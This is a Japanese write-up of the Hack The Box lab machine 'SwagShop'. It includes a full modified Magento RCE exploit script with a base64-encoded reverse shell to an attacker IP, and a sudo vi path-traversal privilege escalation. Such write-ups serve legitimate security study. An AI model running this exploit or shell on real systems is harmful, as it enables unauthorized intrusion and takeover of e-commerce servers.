All Articles

【Easy/Linux】SwagShop Writeup(HackTheBox)

「Hack The Box」という、ペネトレーションテストの学習プラットフォームを利用してセキュリティについて学んでいます。 「Hack The Box」のランクは、本記事執筆時点でProHackerです。

Hack The Box

今回は、HackTheBoxのリタイアマシン「SwagShop」のWriteUpです。

本記事について

本記事の内容は社会秩序に反する行為を推奨することを目的としたものではございません。

自身の所有する環境、もしくは許可された環境以外への攻撃の試行は、「不正アクセス行為の禁止等に関する法律(不正アクセス禁止法)」に違反する可能性があること、予めご留意ください。

またすべての発言は所属団体ではなく個人に帰属します。

もくじ

探索

まずはいつも通りの探索から始めていきます。

# ターゲットマシンのIPをHOSTSに追加して高速スキャン
sudo sed -i 's/^[0-9].*$RHOST/10.10.10.140  $RHOST/g' /etc/hosts
nmap -sV -sC -Pn -T4 $RHOST| tee nmap1.txt

# All ports
nmap -p- $RHOST -Pn -sC -sV -A  | tee nmap_max.txt

1717ポートが開いているようです。

PORT     STATE    SERVICE  VERSION
22/tcp   open     ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 b6:55:2b:d2:4e:8f:a3:81:72:61:37:9a:12:f6:24:ec (RSA)
|   256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA)
|_  256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519)
80/tcp   open     http     Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Did not follow redirect to http://swagshop.htb/
|_http-server-header: Apache/2.4.18 (Ubuntu)
1717/tcp filtered fj-hdnet
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

1717ポートのサービスがどんなサービスかはよく知らないのですが、ひとまず80番ポートに接続したところ、ECサイトのようなページにアクセスできることを確認しました。

image-20220811214853593

稼働しているサービスはMagento, Varien, E-commerceのようです。

エクスプロイトを探索してみると以下の3つが見つかりました。

$ searchsploit -m xml/webapps/37977.py
$ searchsploit -m php/webapps/50896.txt
$ searchsploit -m php/webapps/19793.txt

37977.pyのエクスプロイトを試してみたところ、Magentoの管理サイトっぽいページにログインできるようになりました。

image-20220812224414951

ポータルの情報から、バージョンが1.9.0であることがわかったので、以下のエクスプロイトを使用しました。

参考:Magento CE < 1.9.0.1 - (Authenticated) Remote Code Execution : php/webapps/37811.py · GitHub

ただし、そのままではリバースシェルが取れなかったので、コードは一部改変しています。

最終的に以下のコードでシェルを取得できました。

#!/usr/bin/python
# Exploit Title: Magento CE < 1.9.0.1 Post Auth RCE 
# Google Dork: "Powered by Magento"
# Date: 08/18/2015
# Exploit Author: @Ebrietas0 || http://ebrietas0.blogspot.com
# Vendor Homepage: http://magento.com/
# Software Link: https://www.magentocommerce.com/download
# Version: 1.9.0.1 and below
# Tested on: Ubuntu 15
# CVE : none

from hashlib import md5
import sys
import re
import base64
import mechanize


# Command-line args
target = "http://swagshop.htb/index.php/admin/dashboard/index/key/82a57578bfedeb8b93faded780acce0d/"
base = "L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjQvNDQ0NCAwPiYxCg=="
arg = "echo 'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjQvNDQ0NCAwPiYxCg==' | base64 -d | /bin/bash"

# Config.
username = 'forme'
password = 'forme'
php_function = 'system'  # Note: we can only pass 1 argument to the function
install_date = 'Wed, 08 May 2019 07:23:09 +0000'  # This needs to be the exact date from /app/etc/local.xml

# POP chain to pivot into call_user_exec
payload = 'O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";a:2:{i:0;O:20:\"Zend_Log_Writer_Mail\":4:{s:16:' \
          '\"\00*\00_eventsToMail\";a:3:{i:0;s:11:\"EXTERMINATE\";i:1;s:12:\"EXTERMINATE!\";i:2;s:15:\"' \
          'EXTERMINATE!!!!\";}s:22:\"\00*\00_subjectPrependText\";N;s:10:\"\00*\00_layout\";O:23:\"'     \
          'Zend_Config_Writer_Yaml\":3:{s:15:\"\00*\00_yamlEncoder\";s:%d:\"%s\";s:17:\"\00*\00'     \
          '_loadedSection\";N;s:10:\"\00*\00_config\";O:13:\"Varien_Object\":1:{s:8:\"\00*\00_data\"' \
          ';s:%d:\"%s\";}}s:8:\"\00*\00_mail\";O:9:\"Zend_Mail\":0:{}}i:1;i:2;}}' % (len(php_function), php_function,
                                                                                     len(arg), arg)
# Setup the mechanize browser and options
br = mechanize.Browser()
# br.set_proxies({"http": "localhost:8080"})
br.set_handle_robots(False)

request = br.open(target)

br.select_form(nr=0)
#br.form.new_control('text', 'login[username]', {'value': username})  # Had to manually add username control.
br.form.fixup()
br['login[username]'] = username
br['login[password]'] = password

br.method = "POST"
request = br.submit()
content = request.read()

# print(content)

url = re.search("ajaxBlockUrl = \'(.*)\'", content)
url = url.group(1)
key = re.search("var FORM_KEY = '(.*)'", content)
key = key.group(1)

request = br.open(url + 'block/tab_orders/period/2y/?isAjax=true', data='isAjax=false&form_key=' + key)
tunnel = re.search("src=\"(.*)\?ga=", request.read())
tunnel = tunnel.group(1)

payload = base64.b64encode(payload)
gh = md5(payload + install_date).hexdigest()

exploit = tunnel + '?ga=' + payload + '&h=' + gh

try:
    request = br.open(exploit)
except (mechanize.HTTPError, mechanize.URLError) as e:
    print e.read()

しかし、www-data権限しか取れていないため、ここからUserを取得していきます。

image-20220812233949620

Userの取得(root含む)

config.phpから引っこ抜いておいたユーザ名とパスワードを使ってMySQLにログインし、ユーザのテーブルをダンプしたところ、harisというユーザが見つかりました。

image-20220812235356430

しかし、このパスワードハッシュをhashcatで解析しても、パスワードは参照できませんでした。

続いて気になったのはwww-dataに以下のようなsudo権限が与えられている点でした。

www-data ALL=NOPASSWD:/usr/bin/vi /var/www/html/*

/var/www/html/配下のファイルに対してsudo権限で実行したviを使用可能な設定のようですが、興味深いことに以下のような相対パス指定をすると、任意のファイルをroot権限で開けるようになります。

$ sudo /usr/bin/vi /var/www/html/../../../../../../home/haris/user.txt
$ sudo /usr/bin/vi /var/www/html/../../../../../../root/root.txt

これであっさりすべてのFlagを取得できました。